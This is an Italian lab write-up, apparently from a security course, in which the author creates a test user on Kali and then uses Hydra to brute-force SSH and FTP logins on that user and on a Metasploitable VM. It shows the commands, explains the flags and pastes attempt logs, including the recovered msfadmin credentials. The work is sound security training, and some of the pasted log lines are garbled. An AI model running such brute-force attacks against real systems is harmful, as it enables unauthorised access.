Authentication cracking con Hydra

La traccia di oggi ci chiedeva di provare il tool hydra per fare cracking delle username e delle password prima di un nuovo utente kali appena creato e successivamente della macchina meta.

Creazione nuovo utente kali e test connessione SSH

Come prima cosa andiamo ad attivare il servizio SSH con il comando **sudo service ssh start.**Ora creiamo un altro utente su Kali con il comando **sudo adduser** rinominiamo quest' utente **test_user** gli diamo come password **testpass.** Quindi per testare che la nostra conessione SSH sia avvenuta con successo usiamo il comando **ssh test_user@(IP_kali).** Come vediamo ci appare la shell del nuovo utente questo significa che la connessione è avvenuta con successo.

```
(kali® kali)-[~]
  -$ sudo service ssh start
[sudo] password for kali:
  —(kali⊕kali)-[~]
ssh test_user@192.168.90.10
The authenticity of host '192.168.90.10 (192.168.90.10)' can't be established.
ED25519 key fingerprint is SHA256:zupN+vCQVIF2sszHacjzPJroyZpUXReZf9UzA8NHOZ4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.90.10' (ED25519) to the list of known hosts.
test_user@192.168.90.10's password:
Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
   (test_user⊛kali)-[~]
```

Cracking Authentication con hydra da Kali a Kali

Una volta appurato che la connessione SSH è avvenuta con sucesso passiamo Cracking Authentication con hydra in questo caso lo facciamo dal nostro utente kali verso l'utente appena creata. Il comando da lanciare è hydra -l test_user -P

/usr/share/seclists/Passwords/password_mie 192.168.90.10 -t4 ssh -V. Commentiamo il comando: -l = userà l' username riportato di seguito; -P con questo comando si possono usare un elenco di password(con -L questo è possibile anche con gli username), la traccia ci chiedeva di usare un file scaricato precedentemente da seclists io per risparmiare tempo ne ho creato un mio più piccolo(password_mie); IP del target; -T4 = task che hydra compie contemporaneamente(per l' SSH va impostato -T4 di default è -T16);ssh = protocollo con cui svolgere il craking;-V = per controllare in live i tentativi. Come si può vedere dopo una serie di tentativi riuscieremo poi ad entrare con la password e l'username.

```
(kali@ kali)-[~]

Shydra -l test_user -P /usr/share/seclists/Passwords/password_mie 192.168.90.10 -t4 ssh -V
Hydra v9.3 (c) 2022 by van Hauser/THC 6 David Maclejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:33:07

[DATA] max 4 tasks per 1 server, overall 4 tasks, 28 login tries (l:1/p:28), -7 tries per task

[DATA] attacking ssh://192.168.90.10 - login "test_user" - pass "test" - 1 of 28 [child 0] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "balley" - 2 of 28 [child 1] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "patrick" - 4 of 28 [child 2] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "patrick" - 4 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "scooter" - 6 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "scooter" - 6 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "scooter" - 6 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "scooter" - 6 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "sorter" - 6 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "sorter" - 9 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "scooter" - 10 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "samantha" - 12 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "samantha" - 12 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "subjaces" - 13 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "subjaces" - 13 of 28 [child 3] (0/0)

[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "subjaces" - 17 of 28 [child 3] (0/0)

[ATTEMPT] target
```

Ho poi provato il cracking con un altro protcollo(**FTP**), in questo caso il **-T** non va specificato andrà bene quello di default. Anche qui abbiamo riscontro positivo.

Cracking Authentication con hydra da Kali a Meta

La procedura per meta è praticamente la stessa ho cambiato solo l' **IP** su qui fare l' attacco e l' username(**msfadmin**). Anche qui ho avuto riscontro positivo dell' attacco.

```
-(kali® kali)-[/usr/share/seclists/Passwords]
msfadmin -P /usr/share/seclists/Passwords/pass 192.168.90.101 -T4 ssh -V Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
nore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 10:01:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce t
[DATA] max 4 tasks per 1 server, overall 4 tasks, 29 login tries (l:1/p:29), ~8 tries per task
[DATA] attacking ssh://192.168.90.101:22/
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "test" - 1 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "bailey" - 2 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass bartey - 2 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "q1w2e3r4t5" - 3 of 29 [child 2] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "patrick" - 4 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "internet" - 5 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "scooter" - 6 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "orange" - 7 of 29 [child 0] (0/0) [ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "11111" - 8 of 29 [child 2] (0/0) [ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "golfer" - 9 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "cookie" - 10 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "richard" - 11 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "samantha" - 12 of 29 [child 2] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "samantha" - 12 of 29 [child 2] (0/0) [ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "bigdog" - 13 of 29 [child 1] (0/0) [ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "jackson" - 15 of 29 [child 3] (0/0) [ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "yackson" - 15 of 29 [child 3] (0/0) [ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "whatever" - 16 of 29 [child 1] (0/0) [ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "mickey" - 17 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "testpass" - 18 of 29 [child 0] (0/0) [ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "chicken" - 19 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "msfadmin" - 20 of 29 [child 2] (0/0) [22][ssh] host: 192.168.90.101 login: msfadmin password: msfadmin
[STATUS] 29.00 tries/min, 29 tries in 00:01h, 1 to do in 00:01h, 3 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 10:02:53
```

Ho anche provato l'attacco verso meta con un altro protocollo(FTP), anche qui il risultato è stato positivo.